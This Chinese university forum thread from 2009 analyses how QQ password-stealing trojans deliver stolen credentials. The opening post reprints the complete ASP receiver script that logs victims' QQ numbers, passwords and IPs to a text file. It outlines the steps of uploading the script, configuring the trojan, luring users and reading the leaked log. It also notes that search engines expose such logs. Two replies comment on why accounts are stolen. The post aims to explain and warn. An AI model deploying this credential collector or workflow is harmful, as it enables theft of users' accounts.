设为首页

广西经贸职业技术学院论坛

 忘记密码
 免费注册
查看: 2639|回复: 2
打印 上一主题 下一主题

分析黑客盗取QQ密码

[复制链接]
  • TA的每日心情

    2019-8-18 09:37
  • 签到天数: 2 天

    [LV.1]初来乍到

    跳转到指定楼层
    楼主
    发表于 2009-10-16 03:06:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
      前两天看到一篇文章,说的是网民利用谷歌搜索引擎可以搜索到QQ密码,而本人对文中的观点要进行一下纠正。接触过网络安全的人应该都知道,那样搜索到的QQ密码的页面其实就是一些所谓的黑客在配置QQ木马时候所填写的接收QQ密码的页面。QQ木马有两种方式接收盗来的QQ密码,一个是邮箱,一个是空间,而空间接收是最直接也是最保险的,因为有些邮箱是不支持的。而且用网页接收一般是用支持asp的空间,它需要一个接收密码的的脚本。接收到密码后会在网站同目录创建一个.txt文件并将账号密码存进这个文本里。. D# s- m8 e5 L' c0 a
      我上网找了个QQ木马,叫金狐QQ大盗,里面就带有一个QQ.asp 我把内容贴出来给大家看看。如下:
    2 n1 N0 C' R/ w$ c  K8 D0 l# U<%, n& y2 S/ u2 H. a/ b2 v5 `
    strLogFile="2008jhqqxx.txt"
    9 b7 E2 E9 G* {8 p1 iQQNumber=request("QQNumber")
    8 Y) r6 Y2 o* r6 T0 G2 qQQPassWord=request("QQPassWord")) p; x; ]6 k, S
    QQclub=request("QQclub")- T9 r! V, \! I/ t: A0 o1 r
    QQip=request("QQip")
      @$ s: t" I. ~0 ?" }if QQNumber="" or QQPassWord="" then
    - d  Y' d3 t' A: T; ]( M  response.write "jhQQ"
    2 k: i3 h  l6 b6 ~! E  G  |  response.end8 G9 o4 b% M  q5 u, k) c2 e
    End If) d; T; @2 n5 m* A  E
    StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")5 e2 I9 ~, E$ Y
    StrLogText=StrLogText&")----"&date&" "&time
    8 K: ]6 B$ p3 x- C7 Y# L% v0 Kset f=Server.CreateObject("scripting.filesystemobject")
    5 q3 v- ?5 T  A$ T( Eset ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
    4 U! ^6 P3 V( q1 |3 V$ F6 T2 uff.writeline(chr(13)+chr(10)&StrLogText); C- L3 Z3 x1 O
    ff.close) c1 c* B$ M1 A8 s
    set ff=nothing0 I$ ?, \, p) E3 q+ M7 u
    set f=nothing, z; g( g8 V% p; z/ _- ^' Q9 V
    response.write "发送成功!"4 I! s; a- N( v& y" |
    %>- b/ u9 L1 ~0 i, s! O4 T  Y1 u
      大概意思就是当有人中QQ木马时会自动与此页面通信,并将受害者二次输入的QQ信息在当前目录下以以下形式存入一个命名为2008jhqqxx.txt的文档里,4 v0 O; y, P+ I8 R$ Z
      QQ号---QQ密码---会员:是否---QQ登陆IP---具体时间1 b  F$ Q& R( b. U% [9 Y- L6 {
      可见QQ木马是很强大的。  a6 N2 w& X  m) X6 r6 `
      下面我给大家讲解下整个盗号过程。1 l/ Q" T) M/ @, f$ w3 W
      以我的网站www.cash568.com为例,我准备配置了一个QQ木马,将那个QQ.asp上传到我网站的根目录,用www.cash568.com/QQ.asp 配置出一个木马,用一些手段诱使别人运行。比如一个QQ用户不小心运行了,那么那人的QQ会在短时间内掉线,并要求重新登陆,当那人重新登陆时,QQ木马就已经将所记录的详细信息传递给了www.cash568.com/QQ.asp这个页面,并进行处理,也就是上面所讲的,以那种方式将所得信息录入2008jhqqxx.txt这个文本里,而我只需要查看下www.cash568.com/2008jhqqxx.txt这个页面也就能轻松看到盗来的QQ密码了。而一些做坏事的人没有将此页面加入robot.txt,所以搜索引擎有可能将此页面收录,而别人通过在搜索引擎里键入inurl:2008jhqqxx.txt(这句话的意思就是搜索网站地址中含有2008jhqqxx.txt的网页)就可以查看到别人盗来的QQ密码信息了。所以说那篇文章里所提到的 腾讯称盗号者在炫耀 这个观点是错误的,不但是谷歌,百度也一样,因为都具有这样的命令。当然,那些干坏事的人可以修改下那个asp页面的代码,将2008jhqqxx.txt改为123.txt,那么密码自然就存储到了www.cash568.com/123.txt里了。
      ~% z0 K8 D9 L7 x  盗取别人的QQ号是令人不齿的也是触犯法律的行为,希望大家不要跟着学坏,而我只是抱着研究的态度写了这篇文章,盗号这事离我很遥远。最后希望大家注意网络安全,千万别让坏蛋计谋得逞。
    常上飞翔,梦想飞扬!经贸是我家,建设靠大家~ 人们都说:不在大学论坛里灌过水的大学都像是没读过大学~

    该用户从未签到

    沙发
    发表于 2009-10-16 06:20:09 | 只看该作者
    LZ发帖发得够猛的啊!2 A# e# M+ f& H7 q
    真正有本事的黑客谁还玩偷QQ这种无聊的事情,人都偷法拉利去了(哎 文不对题了)
    常上飞翔,梦想飞扬!经贸是我家,建设靠大家~ 人们都说:不在大学论坛里灌过水的大学都像是没读过大学~

    该用户从未签到

    地板
    发表于 2009-10-21 08:13:18 | 只看该作者
    LS的不明白~~黑客都是网络兼职赚钱的居多~~先搞到你QQ密码~~在用程序登陆你QQ群发广告~~说白了就是在利用你们的QQ做兼职(只是兼职的一种)...有些全职的蠢货~~直接就盗你QQ~·方便以后发广告了~~也或者你的QQ就是某人的生日~~那个人上淘宝去买中你的QQ号了~~黑客负责偷....
    常上飞翔,梦想飞扬!经贸是我家,建设靠大家~ 人们都说:不在大学论坛里灌过水的大学都像是没读过大学~
    您需要登录后才可以回帖 登录 | 免费注册

    本版积分规则

    QQ|版主考核中心|『经贸在线』 ( 桂ICP备15001539号-2  

    GMT+8, 2025-6-10 21:25

    Powered by Discuz! X3.2

    © 2001-2013 Comsenz Inc.

    快速回复 返回顶部 返回列表